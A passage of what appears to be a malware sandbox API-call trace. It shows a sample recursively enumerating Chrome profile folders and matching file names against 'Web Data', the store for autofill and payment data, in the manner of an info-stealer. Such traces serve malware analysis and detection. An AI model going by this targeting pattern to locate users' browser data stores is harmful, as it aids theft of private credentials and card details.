returned 61 [0054.257] lstrlenA (lpString="\\*.*") returned 4 [0054.257] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x768638 [0054.257] lstrcpyA (in: lpString1=0x768638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0054.257] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 0x72dd50 [0054.264] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.264] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.279] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.279] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.279] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.279] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0054.279] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0054.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.279] lstrlenA (lpString="\\") returned 1 [0054.279] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.279] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.279] lstrlenA (lpString="CertificateTransparency") returned 23 [0054.279] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.279] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0054.279] LocalFree (hMem=0x74af08) returned 0x0 [0054.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0054.279] lstrlenA (lpString="\\*.*") returned 4 [0054.279] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x76c840 [0054.279] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0054.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0054.279] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.280] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.280] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.280] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.280] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.280] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.280] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.280] LocalFree (hMem=0x76c840) returned 0x0 [0054.280] LocalFree (hMem=0x76a2e8) returned 0x0 [0054.280] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.280] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0054.280] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0054.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.280] lstrlenA (lpString="\\") returned 1 [0054.280] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.280] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.280] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.280] lstrlenA (lpString="Crashpad") returned 8 [0054.280] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x768708 [0054.280] lstrcpyA (in: lpString1=0x768708, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.280] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.280] LocalFree (hMem=0x74af08) returned 0x0 [0054.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0054.280] lstrlenA (lpString="\\*.*") returned 4 [0054.281] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x9402ac8 [0054.281] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0054.281] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.281] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.281] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.281] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.281] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.281] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.281] StrStrIA (lpFirst="metadata", lpSrch="Web Data") returned 0x0 [0054.281] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.281] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0054.281] lstrcmpiA (lpString1="..", lpString2="reports") returned -1 [0054.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0054.281] lstrlenA (lpString="\\") returned 1 [0054.281] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x7687d8 [0054.281] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0054.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0054.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 71 [0054.281] lstrlenA (lpString="reports") returned 7 [0054.281] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x9403ba8 [0054.281] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0054.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0054.283] LocalFree (hMem=0x7687d8) returned 0x0 [0054.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 [0054.283] lstrlenA (lpString="\\*.*") returned 4 [0054.283] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x76a2e8 [0054.283] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0054.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0054.283] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.283] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.283] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.283] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.283] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.284] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.284] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.284] LocalFree (hMem=0x76a2e8) returned 0x0 [0054.284] LocalFree (hMem=0x9403ba8) returned 0x0 [0054.284] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.284] StrStrIA (lpFirst="settings.dat", lpSrch="Web Data") returned 0x0 [0054.284] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0 [0054.284] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0054.284] LocalFree (hMem=0x9402ac8) returned 0x0 [0054.284] LocalFree (hMem=0x768708) returned 0x0 [0054.284] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.284] StrStrIA (lpFirst="CrashpadMetrics-active.pma", lpSrch="Web Data") returned 0x0 [0054.284] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xefa68 | out: lpFindFileData=0xefa68) returned 1 [0054.284] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0054.284] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0054.284] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0054.284] lstrlenA (lpString="\\") returned 1 [0054.284] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74af08 [0054.284] lstrcpyA (in: lpString1=0x74af08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.284] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.284] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0054.284] lstrlenA (lpString="Default") returned 7 [0054.284] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x768708 [0054.284] lstrcpyA (in: lpString1=0x768708, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0054.284] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.284] LocalFree (hMem=0x74af08) returned 0x0 [0054.284] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.284] lstrlenA (lpString="\\*.*") returned 4 [0054.284] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x9402ac8 [0054.284] lstrcpyA (in: lpString1=0x9402ac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.284] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0054.284] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 0x72dd90 [0054.294] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.294] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.315] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.315] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.315] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.315] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0054.315] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0054.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.315] lstrlenA (lpString="\\") returned 1 [0054.315] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.315] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.315] lstrlenA (lpString="Cache") returned 5 [0054.315] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x9403ba8 [0054.315] lstrcpyA (in: lpString1=0x9403ba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0054.315] LocalFree (hMem=0x7687d8) returned 0x0 [0054.315] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0054.315] lstrlenA (lpString="\\*.*") returned 4 [0054.315] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x9403c80 [0054.315] lstrcpyA (in: lpString1=0x9403c80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0054.315] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0054.315] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.316] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.316] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.316] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.316] StrStrIA (lpFirst="data_0", lpSrch="Web Data") returned 0x0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.316] StrStrIA (lpFirst="data_1", lpSrch="Web Data") returned 0x0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.316] StrStrIA (lpFirst="data_2", lpSrch="Web Data") returned 0x0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.316] StrStrIA (lpFirst="data_3", lpSrch="Web Data") returned 0x0 [0054.316] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.317] StrStrIA (lpFirst="index", lpSrch="Web Data") returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.317] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.317] LocalFree (hMem=0x9403c80) returned 0x0 [0054.317] LocalFree (hMem=0x9403ba8) returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.317] StrStrIA (lpFirst="Cookies", lpSrch="Web Data") returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.317] StrStrIA (lpFirst="Cookies-journal", lpSrch="Web Data") returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.317] StrStrIA (lpFirst="Current Session", lpSrch="Web Data") returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.317] StrStrIA (lpFirst="Current Tabs", lpSrch="Web Data") returned 0x0 [0054.317] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.317] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0054.317] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0054.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.317] lstrlenA (lpString="\\") returned 1 [0054.317] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.317] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.317] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0054.317] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74dc68 [0054.317] lstrcpyA (in: lpString1=0x74dc68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0054.317] LocalFree (hMem=0x7687d8) returned 0x0 [0054.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0054.317] lstrlenA (lpString="\\*.*") returned 4 [0054.317] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x74dd58 [0054.317] lstrcpyA (in: lpString1=0x74dd58, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0054.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") 